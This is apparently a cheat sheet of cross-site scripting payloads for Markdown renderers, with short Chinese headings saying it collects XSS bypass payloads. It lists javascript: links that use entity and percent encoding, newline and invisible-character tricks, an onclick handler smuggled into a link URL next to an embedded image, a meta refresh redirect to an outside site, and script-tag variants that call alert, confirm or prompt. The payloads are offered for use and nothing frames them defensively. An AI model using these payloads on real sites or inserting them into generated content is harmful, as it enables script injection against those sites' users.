_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a]([为了搜索成功,这里为0x01不可见字符,不包括中括号]javascript:alert(document.domain&#41;)
</http://<?php\><\h1\><script:script>confirm(2)

参考

xss绕过,payload全集

一些xss的pyload

Me7ell